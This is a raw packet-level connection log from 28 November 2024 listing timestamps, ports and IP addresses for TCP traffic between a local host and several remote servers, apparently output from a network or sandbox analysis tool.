Nov 28, 2024 08:55:30.550643921 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.550651073 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.562865019 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.562937975 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.562956095 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.577689886 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.577722073 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.577745914 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.577754021 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.577809095 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.657651901 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.657794952 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.657847881 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.658732891 CET	49712	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.658742905 CET	443	49712	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.730462074 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.735774040 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.735845089 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.735857010 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.747601986 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.747663975 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.747670889 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.756771088 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.756819010 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.756824970 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.768471956 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.768516064 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.768521070 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.782021999 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.782068968 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.782073975 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.796395063 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.796442986 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.796447992 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.809158087 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.809206963 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.809211969 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.822390079 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.822437048 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.822444916 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.850370884 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.850415945 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.850423098 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.854343891 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.854391098 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.854396105 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.858643055 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.858688116 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.858692884 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.909543037 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.909559965 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.922734022 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.922796011 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.922806025 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.930222034 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.930280924 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.930289030 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.937520981 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.937578917 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.937586069 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.948302031 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.948354006 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.948360920 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.959475994 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.959527016 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.959532976 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.970247984 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.970295906 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.970302105 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.981035948 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.981098890 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.981105089 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.991925955 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:30.991986036 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:30.991992950 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.002871037 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.002907038 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.002918959 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.002927065 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.002962112 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.013550043 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.024396896 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.024439096 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.024447918 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.024463892 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.024497986 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.035191059 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.045675039 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.045741081 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.045758009 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.055623055 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.055680037 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.055687904 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.065067053 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.065167904 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.065176010 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.074470997 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.074539900 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.074548006 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.083683968 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.083755016 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.083761930 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.092576027 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.092648029 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.092654943 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.106760979 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.106815100 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.106821060 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.108169079 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.108232975 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.108238935 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.111675024 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.111726046 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.111731052 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.119554043 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.119601965 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.119609118 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.125233889 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.125303030 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.125309944 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.135039091 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.135093927 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.135101080 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.138567924 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.138617992 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.138623953 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.142112017 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.142163038 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.142168045 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.148829937 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.148881912 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.148886919 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.152637005 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.152686119 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.152693033 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.158091068 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.158142090 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.158148050 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.163575888 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.163645983 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.163652897 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.167664051 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.167717934 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.167723894 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.172998905 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.173048973 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.173053980 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.173234940 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.173271894 CET	443	49711	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:31.173336029 CET	49711	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:31.491436958 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:31.491456032 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:31.491530895 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:31.493520975 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:31.493530035 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:32.052587986 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:32.052618027 CET	443	49722	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:32.052752018 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:32.053098917 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:32.053112030 CET	443	49722	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:32.550621033 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:32.550668955 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:32.550739050 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:32.552053928 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:32.552076101 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:33.165385962 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:33.165467978 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:33.168575048 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:33.168581963 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:33.168822050 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:33.222575903 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:33.531234026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:33.531470060 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:33.651114941 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:33.651352882 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:33.651427031 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:33.651670933 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:33.771552086 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:33.834954977 CET	443	49722	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:33.835288048 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:33.835299969 CET	443	49722	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:33.835598946 CET	443	49722	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:33.836472034 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:33.836528063 CET	443	49722	142.250.181.100	192.168.2.8
Nov 28, 2024 08:55:33.878655910 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:34.100570917 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.100662947 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.105253935 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.105298996 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.105583906 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.158827066 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.199368954 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.562450886 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:34.603331089 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:34.664901972 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.664966106 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.665014982 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.665199041 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.665219069 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.665235043 CET	49723	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.665240049 CET	443	49723	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.712256908 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.712296009 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.712366104 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.712783098 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:34.712799072 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:34.769483089 CET	49730	443	192.168.2.8	172.217.17.78
Nov 28, 2024 08:55:34.769541025 CET	443	49730	172.217.17.78	192.168.2.8
Nov 28, 2024 08:55:34.769620895 CET	49730	443	192.168.2.8	172.217.17.78
Nov 28, 2024 08:55:34.769900084 CET	49730	443	192.168.2.8	172.217.17.78
Nov 28, 2024 08:55:34.769913912 CET	443	49730	172.217.17.78	192.168.2.8
Nov 28, 2024 08:55:35.117094040 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117127895 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117137909 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117151976 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117170095 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117177010 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117192030 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:35.117206097 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.117243052 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:35.117268085 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:35.136581898 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.136662006 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:35.136671066 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.136707067 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:35.136742115 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:35.507332087 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:35.507404089 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:35.672524929 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:35.682693958 CET	49730	443	192.168.2.8	172.217.17.78
Nov 28, 2024 08:55:35.683351994 CET	49722	443	192.168.2.8	142.250.181.100
Nov 28, 2024 08:55:35.792418957 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:36.261799097 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.261974096 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:36.292848110 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:36.292875051 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.293121099 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.294249058 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:36.335335016 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.528500080 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:36.528546095 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:36.528564930 CET	49719	443	192.168.2.8	20.12.23.50
Nov 28, 2024 08:55:36.528573990 CET	443	49719	20.12.23.50	192.168.2.8
Nov 28, 2024 08:55:36.618805885 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:36.618884087 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:36.831897974 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.831967115 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.832019091 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:36.835156918 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:36.835190058 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:36.835201979 CET	49728	443	192.168.2.8	23.32.185.164
Nov 28, 2024 08:55:36.835208893 CET	443	49728	23.32.185.164	192.168.2.8
Nov 28, 2024 08:55:40.610723972 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:40.610780954 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:40.610860109 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:40.611454964 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:40.611470938 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:41.622699976 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:41.625876904 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:42.100181103 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:42.100223064 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:42.101783037 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:42.103792906 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:42.103804111 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:42.462760925 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.464163065 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:42.464184999 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.465260983 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.465370893 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:42.470906973 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:42.470906973 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:42.470990896 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.644881964 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:42.644910097 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.767947912 CET	49727	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:42.775403976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:42.832376957 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:42.887979031 CET	80	49727	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:42.895407915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:42.895508051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:42.896138906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:42.896179914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:42.986675024 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.986768007 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:42.986871958 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:43.018002987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:43.018023968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:43.020920038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:43.020931005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:43.312458038 CET	49740	443	192.168.2.8	94.245.104.56
Nov 28, 2024 08:55:43.312532902 CET	443	49740	94.245.104.56	192.168.2.8
Nov 28, 2024 08:55:43.792630911 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:43.792682886 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:43.792748928 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:43.793032885 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:43.793068886 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:43.793257952 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:43.793270111 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:43.793275118 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:43.793392897 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:43.793405056 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:43.812150002 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:43.812194109 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:43.812259912 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:43.812983990 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:43.813003063 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:43.952820063 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:43.952915907 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.039971113 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.040010929 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.040333033 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.042695999 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.042749882 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.042783022 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.461282969 CET	49755	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:44.461338997 CET	443	49755	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:44.461431026 CET	49755	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:44.461705923 CET	49755	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:44.461721897 CET	443	49755	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:44.508510113 CET	49756	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:44.508553982 CET	443	49756	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:44.508652925 CET	49756	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:44.509046078 CET	49756	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:44.509062052 CET	443	49756	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:44.770827055 CET	49759	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:44.770869017 CET	443	49759	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:44.771011114 CET	49759	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:44.771569014 CET	49759	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:44.771595955 CET	443	49759	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:44.808657885 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.808684111 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.808727980 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.808769941 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.808793068 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.808809042 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.816122055 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.816215992 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.829848051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:44.829910994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:44.872915030 CET	49743	443	192.168.2.8	20.190.181.4
